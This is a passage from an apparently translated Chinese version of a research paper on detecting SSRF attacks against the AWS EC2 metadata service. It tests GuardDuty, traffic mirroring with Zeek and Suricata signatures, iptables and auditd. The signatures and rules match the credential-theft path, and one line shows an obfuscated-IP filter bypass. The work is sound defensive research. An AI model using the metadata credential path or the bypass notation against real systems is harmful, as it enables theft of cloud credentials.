使用"窃取到的凭据"6分钟后，GuardDuty确定了"凭证泄露"，但检测到的是"SSRF攻击后的活动"(postSSRF attack
activity)，而不是SSRF本身，如Figure 7所示。
> Figure 7 GuardDuty post-SSRF exploitation finding upon external credential
> use
>
>
最终可见，GuardDuty无法检测到SSRF攻击和凭据泄露。
因为，如果在"生成这些凭据的EC2实例"之外去使用这些凭据，则GuardDuty会生成一个"发现结果"，类型为`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration`。但这并不是发现了SSRF攻击本身，因此可以成功实现SSRF的威胁行动者可能已经有足够的权限执行其他恶意操作。如果攻击者可以通过"命令注入"(command
injection)使用凭据发出其他命令，则GuardDuty可能无法识别"攻击后的活动"(post-exploitation activity)。
为什么GuardDuty没起作用？
* 根据GuardDuty的文档，它分析并生成的"发现结果"的多个 **源** 中并不包括"payload content"，而只是3种**元数据：
* VPC Flow Logs
* AWS CloudTrail event logs
* DNS logs
这3个元数据并不足以检测"访问一个link-local地址的SSRF攻击"，因为link-local地址并不会显示在VPC Flow
Logs中，也不会发出DNS解析请求。
#### 3.3. Detection using VPC Traffic Mirroring
测试VPC Traffic Mirroring的检测能力。
"VPC流量镜像"(VPC Traffic Mirroring)提供了入站流量和出站流量的拷贝，在哪里提供？
VPC流量镜像在一个Elastic Network Interface
(ENI)上，这个ENI已经attached到需要被镜像的source，这个source指向一个指定的target的ENI。
VPC Traffic Mirroring provides a copy of network traffic, both inbound and
outbound, on an Elastic Network Interface (ENI) attached to the desired source
to the ENI of a designated target.
"VPC流量镜像"服务仅提供获取网络流量的机制，而不处理或分析网络流量。
实现者有责任以"离线配置"(out-of-line configuration)来部署、配置和维护IDS，以生成有意义、有用的安全事件。
> Figure 8 Network diagram of lab environment
>
>
VPC流量镜像很容易设置，因为一个"镜像会话"(mirroring session)的`source`和"`target`都是基于AWS
Nitro的实例。虽然AWS VPC Traffic
Mirroring的文档使用术语"源"`source`和"目标"`target`，在这里可以简单认为，运行了IDS的`target`(实例)将能够观察到attached到`source`(实例)的那个ENI的请求和响应。
`source ---> target`
具体怎么做流量镜像？
研究人员创建了一个流量镜像会话以读取source的所有TCP流量。该会话使用"流量过滤器¾"(Traffic
Filter¾)中的0.0.0.0/0的source和destination，从具有漏洞服务的实例上的`source`ENI，到具有"第二个"专用ENI的`target`，读取所有TCP流量。
The researcher created a traffic mirroring session that read all TCP traffic
using a 0.0.0.0/0 source and destination in the Traffic Filter¾ from the
“source” ENI on the instance with the vulnerable service to a target with a
second ENI dedicated.
除了 针对于`source`(实例)的那些以便于观察到payloads的"流量过滤器规则"之外，AWS仍会评估`target`(实例)的安全组规则。
> Figure 9 AWS VPC Traffic Mirroring filter configuration
>
>
研究人员通过测试`sudo tcpdump -vi eth1`验证了初步配置，其中的eth1就是 **"第二个"专用ENI**
专用于镜像会话的"摄取接口"(ingest interface)。
结果输出显示了SSRF攻击请求和响应的内容payloads，表明Snort，Zeek和其他开源工具都可以检测到它们。
> Figure 10 Redacted tpcdump output on target once VPC Traffic Mirroring
> enabled
>
>
因为VPC Traffic Mirroring将"被镜像的流量"封装在VXLAN
header中，所以部署到一个流量镜像target上的那个IDS必须能够解析VXLAN conventions，以检查payloads、并做告警。
尽管Snort 2.9.14.1可以匹配IP packet中的内容，但是它无法解封装VXLAN，从而无法在“解释TCP
flow的更精确规则”中使用"流预处理器"(Stream preprocessor)。
使用适用于VPC Traffic Mirroring的网络入侵检测工具执行测试，研究人员确认了：流量镜像功能并未捕获到"本地请求"( local
request)，即通过link-local地址(169.254.169.254)向EC2 IMS发出的那些请求。
测试结果，当然是VPC Traffic Mirroring无法检测出3个指标的任何一个。
#### 3.3.1. Detecting SSRF using Zeek
测试Zeek的检测能力。
Zeek，以前叫"Bro"，是一种"网络流量分析"(network traffic
analysi,NTA)工具，具有灵活的、基于事件的模型，并支持脚本功能。虽然Zeek是一个专门的基于事件的关联工具，但Zeek
3.0版支持了VXLAN解封装(VXLAN decapsulation)、使用正则表达式的基于签名的检测。
译者注：这里的签名是指Zeek中提供的一种独立的"签名语言"(signature
language)，用于进行低级的、Snort格式的正则模式匹配。更多请看Zeek官方资料[Signature Framework — Zeek User
Manual v3.0.0](https://docs.zeek.org/en/stable/frameworks/signatures.html)
有了这些功能，就可以使用以下这2个Zeek"签名定义"(signature definitions)，来标识SSRF请求和响应：
> Figure 11 Zeek signature to detect SSRF targeting AWS EC2 IMS (ssrf.sig)
>
>
> signature aws-ec2-ims-request {
> ip-proto == tcp
> dst-port == 80
> payload /.*meta-data\/iam\/security-credentials/
> event "EC2 Instance Metadata path in request, SSRF attempt"
> }
>
>
> signature aws-ec2-ims-response-access-key {
> ip-proto == tcp
> src-port == 80
> payload /.*\"SecretAccessKey\" :/
> event "Potential AWS IAM temporary credential in HTTP response,
> successful SSRF exploitation"
> }
第一个签名(译者注:可以理解为Zeek的一条检测规则)，可以检测"枚举角色名称的请求"、"获取临时访问凭据的HTTP请求"，因为这两个HTTP请求的path部分，有一部分字符串是相同的，都会被该签名匹配到。
重要的是，该签名省略了路径的“最新”部分，因为特定的IMS协议版本也能被作为获取凭据的目标。使用命令`zeek -r request.pcap -s
ssrf.sig`运行Zeek会生成一个signatures.log文件，该文件详细说明了检测结果：
> Figure 12 Zeek signatures.log output showing SSRF detection
>
>
#### 3.3.2. Detecting SSRF using Suricata
测试Suricata的检测能力。
虽然Snort当前不支持VXLAN解封装，但Suricata 4.1.5支持。
Suricata是一个开源的入侵检测和防御系统，具有许多与Snort相同的基于签名的功能。尽管Suricata中设置的默认签名集不检测对EC2
IMS的尝试访问，但通过启用VXLAN
decoder并为元数据"端点"(endpoint)定义签名后，Suricata可以检测到SSRF尝试。具体检测规则见Figure 13。
> Figure 13 Suricata rules that detect SSRF requests and responses with
> temporary credentials
>
>
> alert ip any any -> $HOME_NET 80 (msg:"AWS EC2 IMS Recon"; sid:10000001;
> rev:001; flow:to_server; content:"/metadata/iam/security-credentials";)
> alert ip $HOME_NET 80 -> any any (msg:"AWS EC2 IMS Credential Exfil";
> sid:10000003; rev:001; flow:to_client,established;
> content:"\"SecretAccessKey\" :";)
因为Suricata可以正确解释VXLAN封装(VXLAN encapsulation)，所以HTTP活动不会显示为UDP流量，而是显示为基础TCP流。
使用命令`suricata -r
request.pcap`(这个命令很常用！)运行Suricata会生成一个`/var/log/suricata/fast.log`文件，该文件详细说明了检测：
> Figure 14 Suricata alert logs demonstrating detection of SSRF attempts on
> the EC2 IMS and credential exfiltration
>
>
#### 3.4. Detection using iptables
测试iptables的检测能力。
iptables是Amazon Linux上可用的"数据包过滤器"(packet
filter)。这种基于规则的功能允许管理员定义用于匹配数据包的参数，然后指定匹配成功时的动作：可用的操作包括"记录"(logging)、"转发"(forwarding)、"丢弃"(dropping)数据包。
观察`connect`syscall是监视网络活动的一种非常具体的方法，而iptables提供了匹配条件，包括源IP地址、目标IP地址、协议和目标端口。此外，iptables可以匹配数据包创建者的UID，GID，PID和SID。
有了这种功能，管理员就可以控制EC2实例，在EC2实例中
所有进程都只有唯一的UID，通过使用PID来区分进程，或者在所有进程都被独立的"目的服务主体"(purpose service
principals)通过UID或GID区分开的环境中，以最低的误报率可靠地检测SSRF攻击。根据控制环境的不同，可以使用多种方法授权一个进程绑定到一个具有独有UID的"特权端口"(privileged
port,The TCP/IP port numbers below
1024)。为了测试iptables是否可以用于检测SSRF，研究人员向Node.js二进制文件授予了"系统功能"(system
capability)，允许它使用`sudo setcap CAP_NET_BIND_SERVICE=+eip
/usr/bin/node`命令绑定到1024以下的端口。
* 然而在生产环境中，更合适的替代策略是：
* 容器化(containerization)
* chroot
* 通过端口地址转换(port address translation)，将负载均衡器的入站HTTP/HTTPS listener映射到主机上的非特权端口(AWS Elastic Load Balancer原生支持这种转换)
使用已知的UID(本例中为1001)作为一个server来处理一些用户请求（我们不希望调用IMS的那些用户请求），可以使用以下iptables命令写入一条检测规则:
`sudo iptables -A OUTPUT -p tcp --dport 80 d 169.254.169.254 -m owner --uid-owner 1001 -j LOG`
配置完成后，syslog或dmesg会记录下：来自该Node.js服务器的 对IMS的所有访问。 如Figure 15所示：
> Figure 15 dmesg output after an iptables LOG rule implemented to log IMS
> accesses from a publicly accessible server process.
>
>
此外，本研究还确定了第2条iptables规则，当把它加到日志规则之后的iptables规则链中时，还可以使用以下命令拒绝出站流量，从而防止SSRF:
`sudo iptables -A OUTPUT -p tcp --dport 80 -d 169.254.169.254 -m owner --uid-owner 1001 -j REJECT`
应用了这个"reject"规则后，有漏洞的测试程序执行了SSRF，当本地防火墙规则拒绝SSRF连接尝试时，该程序会记录到一个内部错误，由于该程序正确地处理了error情况，所以这条"reject"规则并不会影响用户的体验，Node.js进程向console报告了以下错误:
> Figure 16 Application error message when iptables blocked SSRF access via a
> REJECT rule
>
>
iptables需要你具有EC2实例的shell权限：
通过访问EC2实例的shell，系统管理员可以使用"主体隔离"(principal
segregation)和iptables来检测和防止SSRF访问IMS。应用程序程序员也可以catch和log这些连接错误，这为安全人员提供另一种方法来识别已被阻止了的SSRF尝试。
没有shell权限就不能使用iptables：
然而，提供给管理员用于部署到其环境的“黑盒(black
box)”虚拟设备，比如来自AWS市场，发布者被要求实现适当的SSRF保护，因为客户无法在这些设备上配置基于主机的管控(如iptables)。
#### 3.5. Detection using auditd
测试auditd的检测能力。
auditd是一个系统日志记录工具包，它支持捕获低级别的审计活动。它可以捕获关于各种系统调用(syscalls)的基本信息，并构成许多安全事件检测系统的基础，这些系统将这些数据关联起来并分析潜在的恶意活动。
* 检测对SSRF攻击有意义的那些系统调用(syscalls)只能有限地缩小误报率。为什么？举几个例子
* 1.系统调用`execve` \- SSRF攻击连接到已知的主机，但该连接是从具有SSRF漏洞的服务器组件(通常是web服务器)的进程上下文中进行的（并没有生成新进程）。如果一个服务器进程需要生成额外的进程，那么审计`execve`syscall(生成一个新程序)并不是可靠的SSRF指示器。
* 2.系统调用`gethostname` \- 针对IMS的SSRF攻击的目标是一个众所周知的地址，即169.254.169.254，并且不需要将主机名解析为IP地址，所以审计`gethostname`syscall对检测SSRF毫无用处。
* 3.系统调用`connect` \- 该syscall可以检测针对EC2 IMS的link-local地址169.254.169.254的SSRF活动。通过添加类似Figure 17的审计规则，auditd将socket连接信息记录到了"审计日志"(audit logging)目录中。
> Figure 17 Command to add an auditd rule to log the connect() syscall
>
>
> auditctl -a always,exit -F arch=b64 -S connect
audit.log文件包含了详细信息，有关执行所有已审计的操作的进程上下文的详细信息。
`connect`syscall包含：UID，EUID，GID，PID annotations，一个编码了的saddr实参值。
该参数的值是以十六进制格式"socket family"、"port number"、"IP address"进行编码。
对于EC2 IMS来说 `saddr = 02000050A9FEA9FE0000000000000000`
正如在iptables中所观察到的，安全工程师可以使用"审计记录"(audit
records)来观察针对IMS的连接请求，这些请求源自于意外但有效的用户身份。如果管理员对需要IMS访问的进程、不需要IMS访问的进程，使用了不同的uid和gid，则此活动将以较低的误报率识别SSRF请求。
### 3.6. Discussion of other known detection techniques
其他已知检测技术的讨论。
#### 3.6.1. Inline Firewall Services and Appliances
AWS虚拟私有云(VPC)中的入侵检测和预防系统(IDPS)可以解密和分析流量，有可能观察和阻止访问IMS的尝试。然而，由于云环境使用软件定义网络(SDN)既不支持"广播网络地址"(broadcast
network addresses)，传统上不支持"端口镜像"(port
mirroring)，或生成捕捉流量的网络交换机或路由器设备，这些策略需要内联设备、基于主机的入侵检测系统(HIDS)，或基于主机的流量转发到IDS
collectors。
内联IDS系统在云环境中存在问题：因为它们倾向于"过载"(overloaded)，在SDN约束下无法有效地实现负载平衡以及部署成本。工程师必须部署大量的collectors以实现全面的"入口"(ingress)、"出口"(egress)覆盖
(C. Mazzariello, 2010)。
工程师必须部署大量的collectors，以实现全面的"进入和出口覆盖"(ingress and egress coverage)(C.
Mazzariello, 2010)。取而代之的常见的做法是，通常的做法是在低带宽的"出口点"(egress
points)实现IDPS或透明代理，以实现显式的的"whitelisting"和"blocking"功能。
在AWS中，"基于主机的流量转发"(Host-based traffic
forwarding)存在问题，因为带宽限制与实例类型相关联，而与附加到它们上的网络接口无关(Amazon Web Services, 2019)。
* 所以，在AWS中“基于主机的流量转发”通常很消耗资源，例如
* 方案1 克隆和转发流量到IDS收集器。这所消耗的带宽，取决于实例满足其预期业务需求的可用容量。虽然其他人已经详细介绍了使用基于主机的流量转发使用Snort和Zeek (Reese, 2018)，但对成本敏感且高度可扩展的云workloads通常不会提供一个额外的"应用程序处理实例"(application-handling instances) 仅用于维护"基于转发的IDS解决方案"的网络容量。
* 方案2 HIDS解决方案。 与方案1类似的是，HIDS解决方案在云环境中也受到资源限制，可能导致高计算利用率和packet loss(P. K. Shelke, 2012).
#### 3.6.2. AWS WAF
AWS提供了名为AWS WAF的web应用程序防火墙(web application firewall,
WAF)，其操作类似于基于嵌入式设备的WAF解决方案。实现者必须使用AWS的CDN **CloudFront** 来启用AWS
WAF。与专业的WAF设备不同，AWS
WAF具有相对较少的内置规则来检测对应用程序的OWASP威胁，即用于SQL注入和XSS的"签名"(signatures,注:可以理解为匹配payload的规则)。然而，WAF管理员可以配置字符串和正则表达式匹配条件来检测和阻止SSRF，其他安全工程师已经证明了这一点(Sripati,
2019)。
一般来说，依靠像CDN这样的高度分布式系统 来为"内容审查"(content
inspection)提供扩展点来检测SSRF活动是昂贵的，因为进入壁垒对所有企业或所有公开暴露的wrokloads来说可能都是不经济的(Modi,
2017)。但是，在已经使用CloudFront CDN的AWS上的workloads中，使用AWS WAF的ACL来匹配IMS的link-local地址169.254.169.254，可能是一个有意义的"分层防御控制"(layered defensive control)。因为AWS
WAF是在HTTP传输层上操作的，所以这个地址可能不太容易出现二进制数据(比如图像文件)中的误报。
#### 3.6.3. Comparing EC2 IP addresses at AssumeRole with Credential Use
> 官方资料：什么是 AWS CloudTrail？
>
>
> # AWS CloudTrail 是一项 AWS 服务，可帮助对您的 AWS 账户进行监管、合规性检查、操作审核和风险审核。用户、角色或 AWS
> 服务执行的操作将记录为 CloudTrail 中的事件。事件包括在 AWS 管理控制台、AWS Command Line Interface 和 AWS
> 开发工具包和 API 中执行的操作。
> # 在您创建 AWS 账户时，将对账户启用 CloudTrail。当您的 AWS 账户中发生活动时，该活动将记录在 CloudTrail
> 事件中。您可以通过转到事件历史记录来轻松查看 CloudTrail 控制台中的最新事件。要持续记录 AWS 账户中的活动和事件，请创建跟踪。
> # 您的 AWS 账户活动的"可见性"是安全和运营最佳实践的重要方面。您可以使用 CloudTrail 来查看、搜索、下载、归档、分析和响应您的
> AWS 基础设施中的账户活动。您可以确定谁或哪个组件对哪些资源执行了哪些操作、事件发生的时间以及其他细节，来帮助您分析和响应 AWS 账户中的活动。
> # 您可将 CloudTrail 集成到使用 API 的应用程序、为您的组织自动创建跟踪、检查创建的跟踪的状态，以及控制用户查看
> CloudTrail 事件的方式。
AWS中，由于EC2实例在启动时就会承担其关联的IAM角色，则“内部AWS EC2服务对 AssumeRole(承担角色) 的调用”这个过程是AWS
CloudTrail中的一条"已记录事件"(logged event)。
**因为IMS至少每6个小时为每个实例生成唯一的临时访问密钥，所以，当一个EC2实例承担一个IAM角色时，CloudTrail可以记录到该EC2实例的IP地址，并将这些IP地址与CloudTrail中记录的其他API调用相关联。**
该检测技术提供了观察能力：能够观察到在"生成临时凭证的实例"之外发生的"临时凭证使用"情况，这可能指明了"SSRF攻击成功地提供了未经授权的访问"(Bengtston,
2018)。
* 译者注：这种检测技术所关联的数据来源是 **AWS CloudTrail记录到的日志** 中的信息
* 1.当一个EC2实例承担一个IAM角色时的IP地址
* 2.CloudTrail中的其他API调用信息
* 但是 攻击者能够躲避上述的这种 **"记录访问凭证的生成、并随时间关联其使用情况"** 的检测技术
* 因为能够访问IMS以获取凭证的攻击者，他很可能就在同一个实例中去访问AWS API(Fernandez, 2019)。这样的话访问AWS API的IP就是实例的IP，看不出IP的异常。
* 并且 这种检测技术需要获取CloudTrail logs中的信息，这在实际环境中的实施、操作都很复杂。
* 理由1 在利用多个"地区"(regions)实现的弹性的环境中，获取CloudTrail logs中的信息比较困难。(Amazon Web Services,2019)。而CloudTrail Logs 和 AWS Security Token Service(能够创建临时凭证) 都可以在地区内、或者全球范围内 运行。
* 理由2 像AWS Elastic Kubernetes Service (EKS)之类的"托管式容器化服务"(managed containerized service)产品，它们的趋势是在单个EC2实例上"复用"(multiplex)和"轮换"(rotate)多个容器、多个IP地址，但每个实例都只具有唯一的IAM角色。那么使用该方法去关联可疑的SSRF活动时，将面临重大挑战。
* 译者注：这种检测方法的精确程度最多只能到实例级别 - 比如根据CloudTrail记录到的日志发现有异常，一个云实例只有唯一的IAM角色，找到了单个云实例A，但上面有多个容器，怎么确定是哪个容器有异常呢？
* 译者注：这种检测方法具有误报率 - 比如单个云实例B，有容器1和容器2(有各自的IP)，那么容器调用云实例B的AWS API时，则很可能被误报。
## 4\. Recommendations and Implications
建议和启示。
### 4.1. Recommendations for Practice
实践建议。
#### 4.1.1. Configuration Best Practices
配置最佳实践。
* Amazon Web Services的管理员应该熟悉并遵循已发布的最佳实践
* 1.AWS Well-Architected Framework文档。具体来说，管理员应启用VPC Flow Logs和Amazon GuardDuty，以检测SSRF后造成的"环境外部的IMS凭证使用尝试"。
* 2.存在多种持续监控工具，如工具`Cloud Conformity`和`Prowler`，分别用于衡量AWS账户是否符合`AWS Well-Architected Framework` 和`Center for Internet Security(CIS) Amazon Web Services Foundations Benchmark`( "CIS AWS基础基准")
* 3.安全团队应部署检测工具，以监控这些控制在AWS账户中的实现情况。 特别是对于那些依赖人工管理而不是高度自动化的环境，一些变更可能会带来差异和潜在的安全性配置错误。
除非EC2实例需要访问AWS API，否则管理员不能将IAM角色附加到实例上。必要时，当将"IAM策略语句"(IAM policy
statements)attach到用于该目的的角色时，IAM策略的"作者"(authors)应该使用"最小权限方法"(least-privileges
methodology)仔细地构造语句。"作者"(authors)还应该利用可以限制"服务访问"(service access)的"IAM策略条件"(IAM
policy
conditions)，这样一来在该环境之外，由IMS发出的、被攻击者通过SSRF攻击得到的"临时访问凭证"的价值变得很有限。与所有的技术管控一样，知识丰富的团队应该定期审查IAM角色使用和"IAM策略语句"(IAM
policy statements)。
作为一条"分层管控"(layered
control)，基于主机的管控(如iptables之类)会记录日志并阻止对IMS的访问，除非这些访问来自于已知的那些进程(这些进程具有合法需求, 即具有
读取云实例的元数据、获取临时访问凭据以代表实例访问其他AWS services的合法需求)。
As a layered control, host-based controls like iptables that log and prevent
access to the IMS except when originating from processes that have a known,
legitimate need to read instance metadata or obtain temporary access
credentials to act on behalf of an instance to access other AWS services.
此外，考虑到VPC Traffic
Mirroring现在允许已有的入侵检测工具监视、告警可疑的流量，安全工程师应该审查已开发的Zeek或Suricata规则(它们是作为本研究的一部分而开发的规则)，以便将它们包含到Amazon
Web Services的IDS部署中，特别是服务于"外部流量"(external traffic,即和外部交互的流量)的那些AWS实例中。
在本研究中评估了的这些检测机制中，只发现了以下2种检测机制，能够在IMS凭据被盗用之前检测到SSRF，也就是在“凭据用于尝试未经授权的云环境访问或修改”之前就可以检测到。
* 2种检测机制 能够在IMS凭据被盗用之前检测到SSRF
* 1.the host-based packet filter iptables
* 2.VPC Traffic Mirroring using Zeek or Suricata
虽然这两种方法都是有效的，但是VPC Traffic Mirroring的优势在于它能够对所有AWS EC2资源提供"检测覆盖"(detective
coverage)，包括了虚拟设备(AWS帐户持有人无法直接对其进行交互式登录、或管理员级的配置权限的虚拟设备)。
#### 4.1.2. Effectiveness of Layered Detection Techniques
鉴于启用VPC Flow
Logs和GuardDuty的成本相对较低，尽管本研究发现的检测功能仅限于SSRF攻击之后的活动，但强烈建议在AWS云上具有敏感数据的企业，应该启用该服务并密切监控它，至少应该关注"结果类型"(finding
type)为`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration`的结果。
但是，由于"SSRF攻击后的活动"(post-SSRF exploit activity)发生的时间点
可能在SSRF攻击成功的那个时间点之后很多，因此使用iptables和auditd来监视主机上的活动，是 **扩展检测能力**
以识别SSRF攻击尝试的合乎逻辑的下一步。
根据法规要求或行业合规性标准，具有敏感数据的环境通常需要具有"集中式日志记录设施"(centralized logging
facilities)，并且通过使用自动化部署iptables来记录、告警来自于(业务)服务器的那些本不需要访问IMS的尝试（检测依赖的数据源是"集中式日志记录设施"），管理员可以在他们能直接控制的那些服务器里尽早地发现SSRF攻击，即管理员获得了额外的、不重复的
**"可见性"** 。
使用iptables，管理员除了可以受益于"分层检测"(layered detection)，还可以配置"预防式的管控措施"(preventative
control)。
VPC Traffic
Mirror和传统的IDS解决方案需要额外的成本和专业知识才能捕获、存储、分析"发现结果"(findings)，并根据"发现结果"采取行动。但是，在云环境中，资源投资不是唯一的因素，因为IDS必须能够接收未加密的"网络数据包"(network
packets)，或具有对它们进行解密的能力。
通常，云配置最佳实践要求尽可能对"静态数据"(data at rest)和"传输中的数据"(data in
transit)都启用加密。特别是对于利用"云提供商证书颁发机构"(cloud provider certificate
authorities)提供的自动证书颁发的环境，这可能会带来问题，因为在使用完全托管的提供商CA解决方案时，私钥通常不可用。为了获得VPC Traffic
Mirroring的优势，企业必须考虑"TLS
termination"(注:应该是指TLS解密、TLS卸载)在云负载均衡器上的利弊，并在其之后的网络接口上镜像未加密的流量。一些公司可能具有法律或合规性要求，从而限制了他们采用此检测层的能力。面对这样的利弊折衷时，如果他们在其环境中已经部署了“黑盒(black
box)”虚拟设备，则应考虑对管控措施进行弥补、补充。
#### 4.1.3. Challenges Regarding the Evolution of the SSRF Techniques
考虑SSRF技术演进带来的挑战。
因为针对AWS EC2 IMS的SSRF请求是指向一个静态IP地址，所以在HTTP请求中检测link-local的IP地址(例如169.254.169.254)、或直接检测path如`iam/security-credentials`，都很容易输入到IDS或WAF签名(signature,可理解为规则)中。
应该注意到攻击者的对抗，"过滤器绕过技术"(Filter bypass
techniques)可以使用"不同进制"来混淆URL，即用十进制、八进制和十六进制混合表示一个IP，如`169.0xfe.0251.254 等价于
169.254.169.254`。
（译者注：已总结至 [notes - SSRF
绕过技巧](https://github.com/1135/notes/blob/master/web_vul_SSRF.md#%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7)，`IP地址的不同形式
- 进制转换`）。
这样一来，防御者的简单的静态文本、或正则表达式规则匹配都无法识别这种"躲避技术"(evasion
techniques)，除非管理员使用更复杂的检测引擎来识别这些不常规的 payloads。
* 最近，使用SSRF攻击规避检测的新方法包括：
* 1."请求分割"(Request Splitting) - 使用特定的Unicode字符，利用HTTP基于文本的特性，以在请求中使用"协议控制字符"(protocol control indicators)来分割行，以实现能够传递SSRF payload的注入(Kelly, 2018)。[Security Bugs in Practice: SSRF via Request Splitting](https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/)
* 2."请求夹带"(Request Smuggling) - 使用格式不正确的HTTP headers或利用Web服务器的特定"解析"(parsing)行为，将来自攻击者的请求注入到同一目标的另一个请求的开头 (C. Linhart, 2005)。这种技术首次在2005年的出版物中进行了描述，HTTP的灵活性、宽容性继续为"HTTP解析漏洞"(HTTP parsing vulnerabilities)注入了新的活力，最近，它通过在称为`HTTP Desync`技术的变体中利用`Transfer-Encoding`和`Content-Encoding`的不同行为展示了新的特性以用于进行注入，包括SSRF (Kettle, HTTP Desync Attacks: Request Smuggling Reborn, 2019)。防止`HTTP Desync`的一种技术可能是使用CDN（例如Cloudflare, Amazon CloudFront, Imperva Cloud WAF）作为"TLS termination"点(注:应该是指TLS解密、TLS卸载)，前提是这个CDN能够提供比它保护的这个"源"(origins)更严格的HTTP解析。
（译者注：已总结至 [notes - SSRF
绕过技巧](https://github.com/1135/notes/blob/master/web_vul_SSRF.md#%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7)）。
#### 4.1.4. Recommendations for Cloud Providers
通常，SSRF攻击仅对HTTP请求的host和path的控制来成功利用，通常不能注入或操作其他HTTP headers。以Google
Cloud的Compute Engine为例，它已经实现了访问管理API所需的header和值为`Metadata-Flavor：Google`，以减少无法设置该header的那些SSRF攻击的成功(Google，2019)。AWS没有这样的保护，但是如果AWS增加一个“SSRF攻击很难去模仿的”访问EC2
IMS的前提要求，这可能会降低SSRF成功的可能性。
EC2 IMS提供了一个可预测的目标，攻击者都知道的link-local地址。当前，AWS
WAF均不包括默认内容检查规则去检测：包含169.254.169.254地址的请求或包含临时访问密钥的响应。
在AWS的情况下，通常对于云提供商而言，如果能默认包括许多覆盖SSRF用例的WAF规则，将提高其客户的"常规检测功能"(general detective
capabilities)。
A temporary key obtained by an instance through IMS can issue API calls from
outside of AWS infrastructure, in part, because before the advent of AWS
PrivateLink in November 2017, AWS API calls within cloud networks were routed
externally, over the public internet. (Amazon Web Services, 2017). If cloud
providers, including AWS, required caller authentication to access sensitive
operations and limited callers’ use of temporary access credentials to the
internal, it could reduce the damage potential of an SSRF attack.
此外，虽然按照惯例，临时访问密钥以字符`ASIA`开头，但是这种密钥并不隐式地局限于"调用方"(caller)。实例通过IMS获得的临时密钥可以从AWS基础设施的"外部"发出API调用，部分原因是在2017年11月AWS
PrivateLink出现之前，AWS在云网络内的API调用是通过公网Internet从外部路由的(Amazon Web Services,
2017)。如果云服务提供商(包括AWS)要求"调用方"(caller)身份验证才能访问敏感操作，并限制"调用方"对内部的临时访问凭证的使用，则可以减少SSRF攻击的潜在危害。
### 4.2. Implications for Future Research
对未来研究的意义。
* 常见场景
* 1.把已有业务迁移上云
* 许多公司将"业务"(workloads)迁移到云。传统上，这被IT专业人员称为“lift and shift”操作，因为IT专业人员使用熟悉的技术将在"本地基础设施"(on-premises infrastructures) 或 "位于同一位置的"(co-located)数据中心的虚拟机 换为 作为EC2实例运行的虚拟机。使用熟悉的那些操作系统并提供"交互式管理访问"(interactive administrative access)。
* 2.直接利用云上环境 对业务做重新开发
* 很多公司也会利用新颖的云服务(AWS Elastic Kubernetes Services、AWS Fargate、AWS Lambda等) 直接在云上开发新的"业务"(workloads)，所有这些服务都提供了"计算环境"但抽象了"管理访问"(administrative access)，为云提供商保留了"管控规划"(control plan)。
每一个云服务商的产品都为“有SSRF漏洞的应用程序和代码”提供了机会，并且每一个产品都限制了安全专业人员使用传统工具检测并阻止此类攻击的能力。可能存在“仅限于于云基础设施的检测技术”，同时安全研究人员应继续寻找更多"分层管控"(layered
controls)，以保护敏感数据免受云环境中SSRF漏洞的影响。
## 5\. Conclusion
总而言之，云无法幸免于SSRF漏洞带来的危害，并且存在实用的技术来检测、防止对存在SSRF漏洞的应用程序的攻击。
企业如果在云中传输或存储了敏感数据，则应该执行适当的检测管控措施，以识别SSRF攻击尝试，而不是等到知道了某企业发生了数据泄露事件。通过在云上利用这些完善的工具，安全专业人员可以保护云上的"业务"(workloads)，避免针对AWS
API、EC2 IMS的SSRF攻击。
云能够成为一个经济、高效、安全的地方，能够进行大规模的快速创新。
## References
Amazon Web Services. (2017, September 7). Announcing Network Load Balancer for
Elastic Load Balancing. Retrieved from About AWS:
<https://aws.amazon.com/about-aws/whats-new/2017/09/announcing-network-load-balancer-for-elastic-load-balancing/>
Amazon Web Services. (2017, November). AWS re:Invent 2017: NEW LAUNCH!
Amazon EC2 Bare Metal Instances (CMP330). Retrieved October 7, 2019, from
Amazon Web Services channel on YouTube.com:
<https://www.youtube.com/watch?v=o9_4uGvbvnk>
Amazon Web Services. (2017, November 8). Introducing AWS PrivateLink for AWS
Services. Retrieved from About AWS: <https://aws.amazon.com/about-aws/whats-new/2017/11/introducing-aws-privatelink-for-aws-services/>
Amazon Web Services. (2019, September 6). CloudTrail Concepts. Retrieved from
AWS CloudTrail User Guide:
<https://docs.aws.amazon.com/en_pv/awscloudtrail/latest/userguide/cloudtrail-concepts.html>
Amazon Web Services. (2019, October). Elastic Network Interfaces. Retrieved
from Amazon Elastic Compute Cloud User Guide for Linux Instances:
<https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html>
Amazon Web Services. (2019, September 21). Instance Metadata and User Data.
Retrieved from AWS Documentation for EC2:
<https://docs.aws.amazon.com/en_pv/AWSEC2/latest/UserGuide/ec2-instance-metadata.html>
Amazon Web Services. (2019, October 1). What Is Amazon GuardDuty? Retrieved
from Amazon Guard Duty User Guide:
<https://docs.aws.amazon.com/guardduty/latest/ug/what-is-guardduty.html>
Art, S. (2016, September 26). Nodejs-SSRF-App. Retrieved October 8, 2019, from
GitHub.com: <https://github.com/sethsec/Nodejs-SSRF-App/>
Bengtston, W. (2018, August 8). Netflix Cloud Security: Detecting Credential
Compromise in AWS. Retrieved from The Netflix Tech Blog:
<https://medium.com/netflix-techblog/netflix-cloud-security-detecting-credential-compromise-in-aws-9493d6fd373a>
C. Linhart, A. K. (2005). HTTP Request Smuggling. Watchfire.
C. Mazzariello, R. B. (2010). Integrating a Network IDS into an Open Source
Cloud Computing Environment. 2010 Sixth International Conference on
Information Assurance and Security (IAS). IEEE.
ERPScan. (2013, March 27). SSRF DoS Relaying. Retrieved from ERPScan.io Blog:
<https://erpscan.io/press-center/blog/ssrf-dos-relaying/>
Fernandez, G. (2019, September 3). Metadata abuse in AWS. Retrieved from
Technology with a business perspective.:
<https://medium.com/@gonfva/metadata-abuse-in-aws-d264274f5764>
Google. (2019, October 01). Storing and retrieving instance metadata.
Retrieved from Compute Engine Documentation:
<https://cloud.google.com/compute/docs/storing-retrieving-metadata>
Institute of Information Security. (2015, April 16). Server Side Request
Forgery (SSRF).
Retrieved from Institute of Information Security Blog:
<https://iisecurity.in/blog/server-side-request-forgery-ssrf/>
Kelly, R. (2018, September 10). Security Bugs in Practice: SSRF via Request
Splitting.
Retrieved from Personal blog:
<https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/>
Kettle, J. (2017, July 27). Cracking the lens: targeting HTTP's hidden attack-surface.
